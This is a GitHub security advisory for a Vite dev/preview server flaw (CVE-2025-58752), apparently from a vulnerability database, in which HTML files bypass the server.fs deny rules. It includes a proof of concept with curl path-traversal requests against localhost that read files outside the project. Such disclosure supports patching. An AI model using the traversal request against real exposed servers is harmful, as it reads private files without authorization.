ghsa-jqfw-vq24-v9c3
Vulnerability from github
Summary
Any HTML files on the machine were served regardless of the server.fs
settings.
Impact
Only apps that match the following conditions are affected:
- explicitly exposes the Vite dev server to the network (using --host or server.host config option)
appType: 'spa'
(default) orappType: 'mpa'
is used
This vulnerability also affects the preview server. The preview server allowed HTML files not under the output directory to be served.
Details
The serveStaticMiddleware function is in charge of serving static files from the server. It returns the viteServeStaticMiddleware function which runs the needed tests and serves the page. The viteServeStaticMiddleware function checks if the extension of the requested file is ".html". If so, it doesn't serve the page. Instead, the server will go on to the next middlewares, in this case htmlFallbackMiddleware, and then to indexHtmlMiddleware. These middlewares don't perform any test against allow or deny rules, and they don't make sure that the accessed file is in the root directory of the server. They just find the file and send back its contents to the client.
PoC
Execute the following shell commands:
npm create vite@latest
cd vite-project/
echo "secret" > /tmp/secret.html
npm install
npm run dev
Then, in a different shell, run the following command:
curl -v --path-as-is 'http://localhost:5173/../../../../../../../../../../../tmp/secret.html'
The contents of /tmp/secret.html will be returned.
This will also work for HTML files that are in the root directory of the project, but are in the deny list (or not in the allow list). Test that by stopping the running server (CTRL+C), and running the following commands in the server's shell:
``` echo 'import path from "node:path"; import { defineConfig } from "vite"; export default defineConfig({server: {fs: {deny: [path.resolve(__dirname, "secret_files/*")]}}})' > vite.config.js mkdir secret_files echo "secret txt" > secret_files/secret.txt echo "secret html" > secret_files/secret.html npm run dev
```
Then, in a different shell, run the following command:
curl -v --path-as-is 'http://localhost:5173/secret_files/secret.txt'
You will receive a 403 HTTP Response, because everything in the secret_files directory is denied.
Now in the same shell run the following command:
curl -v --path-as-is 'http://localhost:5173/secret_files/secret.html'
You will receive the contents of secret_files/secret.html.
{ "affected": [ { "database_specific": { "last_known_affected_version_range": "\u003c= 7.1.4" }, "package": { "ecosystem": "npm", "name": "vite" }, "ranges": [ { "events": [ { "introduced": "7.1.0" }, { "fixed": "7.1.5" } ], "type": "ECOSYSTEM" } ] }, { "database_specific": { "last_known_affected_version_range": "\u003c= 7.0.6" }, "package": { "ecosystem": "npm", "name": "vite" }, "ranges": [ { "events": [ { "introduced": "7.0.0" }, { "fixed": "7.0.7" } ], "type": "ECOSYSTEM" } ] }, { "database_specific": { "last_known_affected_version_range": "\u003c= 6.3.5" }, "package": { "ecosystem": "npm", "name": "vite" }, "ranges": [ { "events": [ { "introduced": "6.0.0" }, { "fixed": "6.3.6" } ], "type": "ECOSYSTEM" } ] }, { "database_specific": { "last_known_affected_version_range": "\u003c= 5.4.19" }, "package": { "ecosystem": "npm", "name": "vite" }, "ranges": [ { "events": [ { "introduced": "0" }, { "fixed": "5.4.20" } ], "type": "ECOSYSTEM" } ] } ], "aliases": [ "CVE-2025-58752" ], "database_specific": { "cwe_ids": [ "CWE-200", "CWE-23", "CWE-284" ], "github_reviewed": true, "github_reviewed_at": "2025-09-09T20:54:42Z", "nvd_published_at": "2025-09-08T23:15:36Z", "severity": "LOW" }, "details": "### Summary\nAny HTML files on the machine were served regardless of the `server.fs` settings.\n\n### Impact\n\nOnly apps that match the following conditions are affected:\n\n- explicitly exposes the Vite dev server to the network (using --host or [server.host config option](https://vitejs.dev/config/server-options.html#server-host))\n- `appType: \u0027spa\u0027` (default) or `appType: \u0027mpa\u0027` is used\n\nThis vulnerability also affects the preview server. The preview server allowed HTML files not under the output directory to be served.\n\n### Details\nThe [serveStaticMiddleware](https://github.com/vitejs/vite/blob/9719497adec4ad5ead21cafa19a324bb1d480194/packages/vite/src/node/server/middlewares/static.ts#L123) function is in charge of serving static files from the server. It returns the [viteServeStaticMiddleware](https://github.com/vitejs/vite/blob/9719497adec4ad5ead21cafa19a324bb1d480194/packages/vite/src/node/server/middlewares/static.ts#L136) function which runs the needed tests and serves the page. The viteServeStaticMiddleware function [checks if the extension of the requested file is \".html\"](https://github.com/vitejs/vite/blob/9719497adec4ad5ead21cafa19a324bb1d480194/packages/vite/src/node/server/middlewares/static.ts#L144). If so, it doesn\u0027t serve the page. Instead, the server will go on to the next middlewares, in this case [htmlFallbackMiddleware](https://github.com/vitejs/vite/blob/9719497adec4ad5ead21cafa19a324bb1d480194/packages/vite/src/node/server/middlewares/htmlFallback.ts#L14), and then to [indexHtmlMiddleware](https://github.com/vitejs/vite/blob/9719497adec4ad5ead21cafa19a324bb1d480194/packages/vite/src/node/server/middlewares/indexHtml.ts#L438). These middlewares don\u0027t perform any test against allow or deny rules, and they don\u0027t make sure that the accessed file is in the root directory of the server. They just find the file and send back its contents to the client.\n\n### PoC\nExecute the following shell commands:\n\n```\nnpm create vite@latest\ncd vite-project/\necho \"secret\" \u003e /tmp/secret.html\nnpm install\nnpm run dev\n```\n\nThen, in a different shell, run the following command:\n\n`curl -v --path-as-is \u0027http://localhost:5173/../../../../../../../../../../../tmp/secret.html\u0027`\n\nThe contents of /tmp/secret.html will be returned.\n\nThis will also work for HTML files that are in the root directory of the project, but are in the deny list (or not in the allow list). Test that by stopping the running server (CTRL+C), and running the following commands in the server\u0027s shell:\n\n```\necho \u0027import path from \"node:path\"; import { defineConfig } from \"vite\"; export default defineConfig({server: {fs: {deny: [path.resolve(__dirname, \"secret_files/*\")]}}})\u0027 \u003e [vite.config.js](http://vite.config.js)\nmkdir secret_files\necho \"secret txt\" \u003e secret_files/secret.txt\necho \"secret html\" \u003e secret_files/secret.html\nnpm run dev\n\n```\n\nThen, in a different shell, run the following command:\n\n`curl -v --path-as-is \u0027http://localhost:5173/secret_files/secret.txt\u0027`\n\nYou will receive a 403 HTTP Response,\u00a0 because everything in the secret_files directory is denied.\n\nNow in the same shell run the following command:\n\n`curl -v --path-as-is \u0027http://localhost:5173/secret_files/secret.html\u0027`\n\nYou will receive the contents of secret_files/secret.html.", "id": "GHSA-jqfw-vq24-v9c3", "modified": "2025-09-09T20:54:42Z", "published": "2025-09-09T20:54:42Z", "references": [ { "type": "WEB", "url": "https://github.com/vitejs/vite/security/advisories/GHSA-jqfw-vq24-v9c3" }, { "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-58752" }, { "type": "WEB", "url": "https://github.com/vitejs/vite/commit/0ab19ea9fcb66f544328f442cf6e70f7c0528d5f" }, { "type": "WEB", "url": "https://github.com/vitejs/vite/commit/14015d794f69accba68798bd0e15135bc51c9c1e" }, { "type": "WEB", "url": "https://github.com/vitejs/vite/commit/482000f57f56fe6ff2e905305100cfe03043ddea" }, { "type": "WEB", "url": "https://github.com/vitejs/vite/commit/6f01ff4fe072bcfcd4e2a84811772b818cd51fe6" }, { "type": "PACKAGE", "url": "https://github.com/vitejs/vite" }, { "type": "WEB", "url": "https://github.com/vitejs/vite/blob/v7.1.5/packages/vite/CHANGELOG.md" } ], "schema_version": "1.4.0", "severity": [ { "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N", "type": "CVSS_V4" } ], "summary": "Vite\u0027s `server.fs` settings were not applied to HTML files" }
Sightings
Author | Source | Type | Date |
---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
- Confirmed: The vulnerability is confirmed from an analyst perspective.
- Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
- Patched: This vulnerability was successfully patched by the user reporting the sighting.
- Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
- Not confirmed: The user expresses doubt about the veracity of the vulnerability.
- Not patched: This vulnerability was not successfully patched by the user reporting the sighting.